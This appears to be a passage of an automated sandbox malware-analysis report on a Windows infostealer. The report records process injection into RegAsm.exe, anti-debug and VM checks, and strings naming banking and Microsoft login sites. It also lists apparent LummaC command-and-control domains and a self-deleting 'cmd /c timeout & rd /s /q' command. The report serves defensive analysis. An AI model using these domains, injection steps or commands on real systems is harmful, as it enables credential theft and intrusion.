Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535383	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535210	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535016	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534815	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534640	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534199	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533813	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533617	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533464	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533281	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532983	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532469	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532328	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532156	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531953	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531806	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531406	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531016	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530856	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530718	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530537	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530156	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529964	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529623	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529296	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528919	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528358	Jump to behavior
Source: C:\ProgramData\BFIIEHJDBK.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: MFDBG.exe, 00000007.00000002.4540602166.0000000006564000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll F
Source: EHJKFC.3.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: EHJKFC.3.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: EHJKFC.3.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: EHJKFC.3.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: EHJKFC.3.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: EHJKFC.3.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2966040978.0000000000E15000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: EHJKFC.3.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: EHJKFC.3.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: EHJKFC.3.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0\
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware1m
Source: EHJKFC.3.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: EHJKFC.3.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: EHJKFC.3.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: EHJKFC.3.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: EHJKFC.3.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: EHJKFC.3.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: EHJKFC.3.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: EHJKFC.3.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: EHJKFC.3.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: EHJKFC.3.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: EHJKFC.3.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: EHJKFC.3.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000001031000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: EHJKFC.3.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: EHJKFC.3.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: EHJKFC.3.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: EHJKFC.3.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: EHJKFC.3.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: EHJKFC.3.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: EHJKFC.3.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: EHJKFC.3.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: EHJKFC.3.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: EHJKFC.3.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-85408
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-85424
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-86749

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 15_2_00445D10 LdrInitializeThunk,

15_2_00445D10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041D95C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_0041D95C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_0041891A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004014AD mov eax, dword ptr fs:[00000030h]	3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040148A mov eax, dword ptr fs:[00000030h]	3_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004014A2 mov eax, dword ptr fs:[00000030h]	3_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00418563 mov eax, dword ptr fs:[00000030h]	3_2_00418563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00418562 mov eax, dword ptr fs:[00000030h]	3_2_00418562

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040884C CopyFileA,GetProcessHeap,RtlAllocateHeap,StrCmpCA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,DeleteFileA,

3_2_0040884C

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041D95C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0041D95C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004275FE SetUnhandledExceptionFilter,	3_2_004275FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041CFE0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0041CFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0CB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6C0CB66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0CB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6C0CB1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C27AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6C27AC62

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 6616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5464, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\ProgramData\BFIIEHJDBK.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_03292131 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_03292131

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\ProgramData\BFIIEHJDBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: BFIIEHJDBK.exe, 0000000A.00000002.2799328703.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: reinforcenh.shop
Source: BFIIEHJDBK.exe, 0000000A.00000002.2799328703.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: stogeneratmns.shop
Source: BFIIEHJDBK.exe, 0000000A.00000002.2799328703.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: fragnantbui.shop
Source: BFIIEHJDBK.exe, 0000000A.00000002.2799328703.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: drawzhotdog.shop
Source: BFIIEHJDBK.exe, 0000000A.00000002.2799328703.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: vozmeatillu.shop
Source: BFIIEHJDBK.exe, 0000000A.00000002.2799328703.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: offensivedzvju.shop
Source: BFIIEHJDBK.exe, 0000000A.00000002.2799328703.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ghostreedmnu.shop
Source: BFIIEHJDBK.exe, 0000000A.00000002.2799328703.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: gutterydhowi.shop

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004124A8 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		3_2_004124A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041257F __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		3_2_0041257F

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B57008	Jump to behavior
Source: C:\ProgramData\BFIIEHJDBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\BFIIEHJDBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\BFIIEHJDBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44B000
Source: C:\ProgramData\BFIIEHJDBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44E000
Source: C:\ProgramData\BFIIEHJDBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 45D000
Source: C:\ProgramData\BFIIEHJDBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: AA4008

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\AFIDGDBGCA.exe "C:\ProgramData\AFIDGDBGCA.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\BFIIEHJDBK.exe "C:\ProgramData\BFIIEHJDBK.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\IIIEBGCBGIDH" & exit	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process created: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe "C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe" --checker	Jump to behavior
Source: C:\ProgramData\BFIIEHJDBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040111D cpuid

3_2_0040111D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	3_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_0042B09C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	3_2_0042B191
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	3_2_00429A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	3_2_0042B238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	3_2_0042B293
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	3_2_0042AB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	3_2_004253B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	3_2_0042B464
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	3_2_0042746C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_00427546
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	3_2_0042B550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesA,	3_2_0042B526
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	3_2_00429D3E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	3_2_0042E53F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	3_2_0042B5F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	3_2_00428D94
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	3_2_0042B5B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,	3_2_0042E674

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
